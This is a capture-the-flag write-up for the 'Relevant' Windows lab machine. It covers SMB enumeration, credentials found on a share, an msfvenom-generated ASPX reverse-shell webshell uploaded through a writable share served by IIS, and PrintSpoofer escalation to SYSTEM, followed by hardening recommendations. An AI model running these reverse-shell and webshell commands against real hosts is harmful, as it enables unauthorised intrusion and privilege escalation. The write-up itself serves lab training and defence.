Relevant

Windows Medium SMB · IIS · SeImpersonate ● Completed

TL;DR A writable SMB share (nt4wrksv) is also served by IIS on a high port → drop an ASPX webshell for RCE as the app-pool account → SeImpersonatePrivilege → PrintSpoofer for SYSTEM.

01Recon

nmap -sC -sV -p- -oN nmap/relevant 10.10.X.X
# 80, 135, 139, 445 SMB, 3389 RDP, 49663 (IIS HTTP), 49667
smbclient -N -L //10.10.X.X/           # share: nt4wrksv (READ/WRITE)
smbclient -N //10.10.X.X/nt4wrksv
# get passwords.txt -> base64 creds (Bob / Bill)

02Foothold — SMB → IIS webshell

The nt4wrksv share maps to http://10.10.X.X:49663/nt4wrksv/. Upload an ASPX webshell to the share and browse to it for code execution:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f aspx -o shell.aspx
smbclient -N //10.10.X.X/nt4wrksv -c 'put shell.aspx'
# trigger:
curl http://10.10.X.X:49663/nt4wrksv/shell.aspx     # -> shell as iis apppool\defaultapppool

user.txtTHM{…} (Bob's Desktop)

03Privilege Escalation — SeImpersonate

whoami /priv        # SeImpersonatePrivilege = Enabled
# potato-style privesc:
.\PrintSpoofer64.exe -i -c cmd     # -> NT AUTHORITY\SYSTEM

root.txtTHM{…} (Administrator Desktop)

04Takeaways

Never leave SMB shares world-writable, especially when the same path is web-served.
Don't store credentials in files on shares — base64 is encoding, not protection.
SeImpersonate on service accounts = SYSTEM via Potato/PrintSpoofer — scope service privileges tightly.

◆If this were my environment

A writable SMB share mapped into the IIS web root allowed direct web-shell execution, and a service token retained an impersonation privilege. I would break both conditions and harden the Windows host from a tested baseline.

Priority controls

Separate content-upload storage from executable web roots; deny script execution in writable directories and scan accepted file types.
Remove guest or broad write access from SMB shares, require signing and audit successful writes to web and service paths.
Run IIS application pools under dedicated virtual accounts with the minimum privileges and constrain token impersonation exposure.
Apply Microsoft, CIS or DISA baselines through policy and validate drift continuously rather than relying on one-time configuration.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Microsoft Windows security baselines Microsoft-recommended Group Policy and MDM settings for Windows clients and servers. Microsoft SMB security hardening Signing, encryption, guest access, dialect controls and defenses against credential relay. Microsoft Windows Server 2025 baseline Role-aware OSConfig baseline covering firewalling, credentials, SMB signing, auditing and tamper resistance. OWASP Application Security Verification Standard Testable requirements for authentication, access control, input handling, files and APIs. CIS CIS Benchmarks Consensus configuration baselines for operating systems, servers, containers and applications. DISA STIG Document Library DoD hardening checklists for Windows, Linux, Active Directory, IIS, databases and application servers. Microsoft Windows audit policy recommendations Baseline and stronger audit settings for workstations, servers and directory objects.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups